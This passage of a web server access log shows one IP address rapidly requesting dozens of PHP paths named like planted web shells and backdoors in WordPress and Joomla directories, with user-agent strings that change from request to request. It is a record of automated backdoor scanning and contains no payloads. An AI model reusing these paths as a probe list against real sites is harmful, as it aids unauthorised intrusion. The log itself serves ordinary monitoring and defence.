[28/Feb/2026:03:13:35 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:35 +0300] "GET /blog/signatur.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:35 +0300] "GET /wp-includes/assets/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 193.37.32.170 - - [28/Feb/2026:03:13:35 +0300] "GET /wp-includes/widgets/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:36 +0300] "GET /include/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:13:36 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:36 +0300] "GET /wp-includes/class-wp-language-pack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:36 +0300] "GET /js/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:36 +0300] "GET /wp-includes/class-walker-comment-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:13:37 +0300] "GET /about/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:37 +0300] "GET /file/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:37 +0300] "GET /function/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:37 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:38 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:38 +0300] "GET /wp-includes/class-wp-network-query-stat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:38 +0300] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:13:38 +0300] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:38 +0300] "GET /wp-includes/class-wp-session-tokens-https.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 193.37.32.170 - - [28/Feb/2026:03:13:39 +0300] "GET /wp-admin/js/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:13:39 +0300] "GET /images/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:39 +0300] "GET /wp-includes/images/crystal/lrs_dage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:39 +0300] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:40 +0300] "GET /wp-includes/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:13:40 +0300] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:40 +0300] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:40 +0300] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:40 +0300] "GET /wp-includes/customize/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:41 +0300] "GET /css/fan.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:41 +0300] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:41 +0300] "GET /images/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:41 +0300] "GET /wp-content/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:42 +0300] "GET /wp-admin/css/colors/ectoplasm/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:13:42 +0300] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:13:42 +0300] "GET /wp-includes/js/thickbox/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:42 +0300] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:42 +0300] "GET /wp-content/themes/twentytwentyfour/icascreenshots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:13:43 +0300] "GET /wp-content/upgrade/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:13:43 +0300] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:43 +0300] "GET /wp-admin/css/colors/ocean/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 193.37.32.170 - - [28/Feb/2026:03:13:43 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:44 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:44 +0300] "GET /wp-includes/certificates/past.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:44 +0300] "GET /wp-content/uploads/2021/faiyy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:44 +0300] "GET /css/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:44 +0300] "GET /wp-content/plugins/pwnd/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:45 +0300] "GET /wp-includes/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:45 +0300] "GET /wsax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:45 +0300] "GET /bless.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 193.37.32.170 - - [28/Feb/2026:03:13:45 +0300] "GET /wp-content/uploads/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:45 +0300] "GET /templates/beez3/dbcthbohhr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:46 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:46 +0300] "GET /wp-content/themes/tflow/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:46 +0300] "GET /wp-includes/css/dist/footer-default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:46 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:47 +0300] "GET /wp-includes/widgets/class-wp-widget-meta-request.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:47 +0300] "GET /wp-content/plugins/pwnd/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:13:47 +0300] "GET /wp-includes/css/dist/edit-widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:47 +0300] "GET /wp-content/plugins/ubh/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:48 +0300] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:48 +0300] "GET /wp-includes/l10n/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:48 +0300] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:48 +0300] "GET /wp-admin/js/widgets/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:49 +0300] "GET /uploads/xsec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:13:49 +0300] "GET /images/Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:13:49 +0300] "GET /wp-content/plugins/pwnd-1/kurd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:13:49 +0300] "GET /wp-content/themes/tflow/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.37.32.170 - - [28/Feb/2026:03:13:49 +0300] "GET /wp-content/languages/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:50 +0300] "GET /wp-content/uploads/fileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:50 +0300] "GET /wp-includes/widgets/wp-ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:50 +0300] "GET /wp-includes/IXR/xsec1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:13:50 +0300] "GET /admin.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:50 +0300] "GET /wp-admin/css/colors/hong1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:13:51 +0300] "GET /wp-admin/maint/byps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:51 +0300] "GET /wp-includes/images/crystal/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:13:51 +0300] "GET /wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:51 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:13:51 +0300] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:52 +0300] "GET /wp-includes/class-phpmailer-beta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:52 +0300] "GET /wp-includes/ms-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:52 +0300] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:52 +0300] "GET /wp-includes/widgets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:52 +0300] "GET /images/news_event/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.37.32.170 - - [28/Feb/2026:03:13:53 +0300] "GET /chosen.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.37.32.170 - - [28/Feb/2026:03:13:53 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:53 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 193.37.32.170 - - [28/Feb/2026:03:13:53 +0300] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:53 +0300] "GET /page.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:54 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:54 +0300] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:54 +0300] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:54 +0300] "GET /wp-content/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:54 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:55 +0300] "GET /assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:55 +0300] "GET /wp-includes/SimplePie/XML/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:13:55 +0300] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:13:55 +0300] "GET /wp-content/1.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:55 +0300] "GET /wp-admin/css/colors/blue/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:56 +0300] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:56 +0300] "GET /wp-includes/assets/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:56 +0300] "GET /.well-known/acme-challenge/gecko-old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.37.32.170 - - [28/Feb/2026:03:13:56 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:57 +0300] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:57 +0300] "GET /wp-includes/widgets/class-wp-nav-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:57 +0300] "GET /x/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:57 +0300] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:13:57 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:58 +0300] "GET /wp-admin/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:58 +0300] "GET /wp-includes/sitemaps/providers/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:58 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:13:58 +0300] "GET /wp-includes/rest-api/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:58 +0300] "GET /wp-includes/fonts/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:59 +0300] "GET /shop.php 